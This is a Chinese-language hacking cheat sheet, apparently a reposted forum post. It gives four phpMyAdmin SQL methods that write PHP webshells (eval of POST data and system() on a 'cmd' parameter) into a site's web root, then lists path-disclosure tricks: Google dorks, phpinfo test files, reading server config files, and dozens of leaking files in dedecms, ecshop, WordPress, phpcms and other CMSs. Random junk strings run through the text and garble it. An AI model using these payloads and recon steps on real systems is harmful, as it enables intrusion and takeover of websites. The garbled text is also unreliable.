phpmyadmin后台拿shell

admin

方法一：
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
SELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';
----以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php
3 |, \8 Q2 f0 D1 C9 X7 F) x一句话连接密码：xiaoma
8 m  P/ \: ?) W9 I0 r* ]8 H8 J6 e
方法二：
Create TABLE xiaoma (xiaoma1 text NOT NULL);
( B! V8 f. |! V" X7 D Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS xiaoma;

方法三：

读取文件内容：    select load_file('E:/xamp/www/s.php');
  V/ E2 L+ R5 s5 z) }
写一句话：select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'
5 G( \; S- c7 `7 k. B
cmd执行权限：select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'

4 ~8 v) a1 N* y& k' a( h- `- `, g# P
- n" m6 @' \/ K1 e4 e3 x3 K# g  A方法四：
select load_file('E:/xamp/www/xiaoma.php');

: q5 n+ D* X: q4 j5 x% {7 ~4 j select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
5 O; u$ d. V; ]8 |3 G 然后访问网站目录：http://www.xxxx.com/xiaoma.php?cmd=dir
- S4 f4 x9 Y7 r. L' H

, ]$ ^5 P! U6 A% F- g) H
; v+ Z8 |* `4 r  Y/ c

( d' ~+ ?+ @; t4 n, Pphp爆路径方法收集 ：

4 m2 c( |' G) `: B  R

& P2 w1 U# U) D7 i- _3 Z
6 k0 q9 Y/ J; E# ^! C1、单引号爆路径
' ^: E% o! O; f* ~: W说明：
" q$ q2 {( I3 b直接在URL后面加单引号，要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=149′

2、错误参数值爆路径
说明：
8 Y. n( M5 i* g/ k. b6 C6 D1 N7 b4 W将要提交的参数值改成错误值，比如-1。-99999单引号被过滤时不妨试试。
( R$ `; d; g7 U5 o. g/ C) Kwww.xxx.com/researcharchive.php?id=-1
0 [$ X) Z; J8 D
8 Z9 s% E  O- T8 A( a3、Google爆路径
7 r+ Z! ~9 j) W说明：
结合关键字和site语法搜索出错页面的网页快照，常见关键字有warning和fatal error。注意，如果目标站点是二级域名，site接的是其对应的顶级域名，这样得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”

& [! p. f) F; `0 a; D9 k4、测试文件爆路径
& c8 Q/ V7 W) L. Q说明：
! t5 H4 j5 N0 l很多网站的根目录下都存在测试文件，脚本代码通常都是phpinfo()。
. \9 X* B& F0 ^, k8 ~5 @www.xxx.com/test.php
" C# _! t7 N! r& @# r3 ywww.xxx.com/ceshi.php
www.xxx.com/info.php
; l1 l. d; K( X+ _* {* mwww.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
- A% Y2 g* E0 r- ^
+ N  W7 R! [& e; N; u3 n+ e5、phpmyadmin爆路径
% a) V7 @' O9 b3 Z6 z说明：
一旦找到phpmyadmin的管理页面，再访问该目录下的某些特定文件，就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫，也可以选择google。PS：有些BT网站会写成phpMyAdmin。
5 R, i% H$ d  d1 ?2 ]1. /phpmyadmin/libraries/lect_lang.lib.php
4 S/ `2 U2 I: {2 Y! D0 H3 r* x2./phpMyAdmin/index.php?lang[]=1
- t9 m% b) _5 a: T3. /phpMyAdmin/phpinfo.php
( o1 [# x" Q6 k0 o1 K& o4. load_file()
5./phpmyadmin/themes/darkblue_orange/layout.inc.php
* m4 q8 j8 M. j6 s' [6./phpmyadmin/libraries/select_lang.lib.php
( n3 a% x0 ^; C" V7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php

6、配置文件找路径
说明：
/ p, T1 G- r) _9 G如果注入点有文件读取权限，就可以手工load_file或工具读取配置文件，再从中寻找路径信息（一般在文件末尾）。各平台下Web服务器和PHP的配置文件默认路径可以上网查，这里列举常见的几个。
9 \9 G& @; T! X
Windows:
9 v0 [8 c0 F3 {7 Q* mc:\windows\php.ini                                    php配置文件
' v+ A7 P5 r) L/ N9 f0 B) gc:\windows\system32\inetsrv\MetaBase.xml              IIS虚拟主机配置文件
  @9 O2 e9 I$ Z
! u# z/ D( O% E7 p2 F/ ULinux:
- p8 o( E2 a6 o$ F/etc/php.ini                                           php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf                             Apache配置文件
, B' I3 Y4 y7 e% R  D& `/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
" A4 m0 C6 ?' }+ O! Y/usr/local/apache/conf/extra/httpd-vhosts.conf         虚拟目录配置文件

( i1 M/ [4 O* W9 q- J7、nginx文件类型错误解析爆路径
: f1 l8 ]9 X+ g说明：
这是昨天无意中发现的方法，当然要求Web服务器是nginx，且存在文件类型解析漏洞。有时在图片地址后加/x.php，该图片不但会被当作php文件执行，还有可能爆出物理路径。
http://www.xxx.com/top.jpg/x.php
4 j* J- i1 ~) j8 B0 I2 O
8、其他
dedecms
/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
plus/paycenter/cbpayment/autoreceive.php
8 Z$ ?. T. U5 N; ipaycenter/nps/config_pay_nps.php
plus/task/dede-maketimehtml.php
plus/task/dede-optimize-table.php
plus/task/dede-upcache.php
& @0 J- X1 w, t. R
WP
. x+ ?) i$ j  W/ u- X7 l: twp-admin/includes/file.php
wp-content/themes/baiaogu-seo/footer.php
( I* }1 Z* L. b1 G  ^) _2 A3 [
4 l0 B' G) ?' G9 i% \4 D- lecshop商城系统暴路径漏洞文件
& O. U# F4 p- _" f7 J/api/cron.php
: @( {/ ~. d3 [4 c/wap/goods.php
/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
3 u* L6 I$ f5 D6 T0 I( A$ O/ F" p/temp/compiled/page_footer.lbi.php
. ]. m4 ]1 Y2 R. U. ?/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
( ]; ~1 X" b) [9 u5 |/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
: \! `* U  W* E" A/temp/compiled/recommend_promotion.lbi.php
4 G, t6 ^+ N* ~6 r, E# s4 N# Q/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
% k/ f2 ~% x$ w, D/temp/compiled/message.dwt.php
/ y" S- M5 j, d! ?9 W5 m8 E/temp/compiled/admin/pagefooter.htm.php
, W0 c( |# n1 B7 m9 L2 Q. A/temp/compiled/admin/page.htm.php
1 }' d: Q  F9 v5 k, c4 W/temp/compiled/admin/start.htm.php
. m1 R( e9 o, w( n/ M, h/temp/compiled/admin/goods_search.htm.php
& |" e/ z9 l6 U9 t, r8 n8 c$ h% J/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
2 p) O' U  _- U0 E  E/temp/compiled/admin/menu.htm.php
: C9 t0 }! q9 W4 S( W/temp/compiled/admin/login.htm.php
  z( P6 S# @5 R6 e) p* s/temp/compiled/admin/message.htm.php
- ?; ^9 U! @/ J& W3 U# _/ x/temp/compiled/admin/goods_list.htm.php
) d& C  A* i6 ?' f" k1 ]/temp/compiled/admin/pageheader.htm.php
& E+ h8 X* k$ G/temp/compiled/admin/top.htm.php
/temp/compiled/top10.lbi.php
/temp/compiled/member_info.lbi.php
5 \5 Y& Z! a& s# H1 p/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
0 Y* M: q* S% L$ F" [/temp/compiled/page_header.lbi.php
/temp/compiled/goods_script.html.php
/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
3 w- ^4 ?9 |7 g0 G" @  j3 O/temp/compiled/brands.lbi.php
4 H% L8 {2 `+ B- F/ y0 O7 K: X" u/temp/compiled/help.lbi.php
/temp/compiled/goods_gallery.lbi.php
# v' A, d) u7 ]: @, x/temp/compiled/comments.lbi.php
3 L$ @5 L; K: R/ T  D3 P" I/temp/compiled/myship.lbi.php
  m6 c' o9 C3 d5 D4 R5 n/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
/includes/modules/cron/auto_manage.php
* C( i: a. r" C: t1 G/includes/modules/cron/ipdel.php

ucenter爆路径
9 l. t3 W6 I: `1 yucenter\control\admin\db.php
2 _, }# Y" ^, `6 I. K9 P0 T$ ?6 J; c
* A8 h, K# q1 ?* _! x3 }DZbbs
manyou/admincp.php?my_suffix=%0A%0DTOBY57

) O0 f- Q5 t; R0 Gz-blog
admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php

php168爆路径
+ G/ C0 T& T, V5 Vadmin/inc/hack/count.php?job=list
! h* |* f' P5 S/ n5 j+ W  W/ Iadmin/inc/hack/search.php?job=getcode
8 |0 r* R8 g" \* w) t9 yadmin/inc/ajax/bencandy.php?job=do
. a; W5 L0 I, T8 M! I( kcache/MysqlTime.txt
3 R" T7 a& C0 M# |: P
PHPcms2008-sp4
注册用户登陆后访问
, x3 ]1 D, n: `$ lphpcms/corpandresize/process.php?pic=../images/logo.gif
0 I8 R. K1 `2 v7 |& h$ Y
2 i9 M1 D+ O% ~8 i/ cbo-blog
PoC:
/go.php/<[evil code]
CMSeasy爆网站路径漏洞
漏洞出现在menu_top.php这个文件中
5 K! E! y' m! E9 v! L/ f3 d, y$ wlib/mods/celive/menu_top.php
; z) p& O* W! T8 w: h5 \0 y/lib/default/ballot_act.php
0 u0 g2 C4 ?0 T2 Wlib/default/special_act.php
; a6 V& J- H1 V& @+ m. \/ k) E+ T9 b